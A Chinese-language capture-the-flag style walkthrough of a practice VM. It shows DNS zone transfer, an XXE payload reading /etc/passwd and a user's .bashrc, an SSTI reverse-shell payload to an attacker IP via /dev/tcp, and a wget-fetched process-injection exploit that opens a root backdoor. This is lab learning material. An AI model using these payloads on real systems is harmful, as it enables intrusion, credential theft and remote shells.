前言
这是打靶训练的第10周,靶机下载,难度高,所有利用知识点我都没学过。也正好弥补了这方面的知识点。
信息搜集
nmap 扫描结果
PORT STATE SERVICE VERSION
53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
9999/tcp open http Tornado httpd 6.1
MAC Address: 00:0C:29:18:3E:6D (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
来到80端口页面,没啥特别的东西,下面有行信息More you will DIG me,more you will find me on your servers..DIG me more...DIG me more
,可能有用。
查看网页源代码,提示使用get参数page_no
查看网页
浏览http://192.168.31.135/?page_no=1 ,红字提示不够深入。
使用burp爆破出,数字为21。提示 他设置了很多域名,hackers.blackhat.local
是其中一个
vi /etc/hosts
,将192.168.31.135 hackers.blackhat.local
添加进hosts文件后,确实能正常访问
DNS区域传输
DNS Zone Transfers(DNS区域传输)是指一台备用服务器使用主服务器的数据来刷新自己的域数据库,其目的是为了防止主域名服务器因意外故障尔影响到整个域名的解析。当主服务器出现故障时,备用服务器就会顶替主服务器而提供域名解析服务。当DNS服务器被错误设置成只要有client发出请求,就会向对方提供一个z域数据库的详细信息时,就产生了DNS域传送漏洞。通过该漏洞,测试人员可以快速收集某个特定域信息,主机信息。
nmap扫描时,默认使用tcp扫描,加上-sU
参数,可使用udp扫描。
53端口开启了tcp和udp端口,最开始提示使用dig,dig axfr @192.168.31.135 blackhat.local
,查询域名信息
或者cmd依次输入,也是相同的作用
nslookup.exe
set type=soa
ls -d blackhat.local
继续vi /etc/hosts
,将得到的域名进行绑定
192.168.31.135 hackers.blackhat.local
192.168.31.135 blackhat.local
192.168.31.135 hackerkid.blackhat.local
192.168.31.135 hacker.blackhat.local.blackhat.local
192.168.31.135 www.blackhat.local
XXE注入
访问http://hackerkid.blackhat.local/
,进行注册时,无论邮箱那边怎么填,一直提示Sorry, xxx is not available !!!
抓包进行xxe注入读取etc/passwd
,因为email里面输入什么就输入什么,所以将payload放在email里面
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<root>
<name>asd</name>
<tel>asdf</tel>
<email>&test;</email>
<password>qwe</password>
</root>
存在用户saket
,构造file:///home/saket/.bashrc
,发现无任何数据,使用php封装器进行读取PHP://filter/read=convert.base64-encode/resource=/home/saket/.bashrc
使用base64解码,获取到用户名:admin,密码:Saket!#$%@!!
SSTI模板注入
访问前面获取到的9999端口,使用admin Saket!#$%@!!登录失败后,将用户名换成saket登录成功
绿字:告诉我name兄弟,不然我怎么知道是你。尝试加入参数name
,还真有
在name后面输入什么,就会输出Hello xxx
,可以尝试xss
这里上SSTI模板注入通用payload{{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz]
,出现报错说明有注入。
使用${7*7},{{7*7}}
,第二个被执行了
使用{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.31.129/4444 0>&1"')}}
,将payload转换成url编码后,执行,即可反弹shell
Capabilitie提权
/sbin/getcap -r / 2>/dev/null
查找设置过capabilities的应用程序
可以利用python2.7进行提权,ps -aef | grep root
,查找以root权限运行的程序,这里选择id为2216的apache
wget https://gist.githubusercontent.com/wifisecguy/1d69839fe855c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py
下载exp,python2.7 inject.py 2216
注入进程后,会开启5600端口后门
nc连接
这篇文章写的不是太详细,因为太多知识点不懂,所以也就单纯写打靶过程了。。。
文章参考
DNS域传送漏洞(DNS Zone Transfers)复现
XXE从入门到放弃
SSTI(模板注入)的攻防战
Linux系统利用可执行文件的Capabilities实现权限提升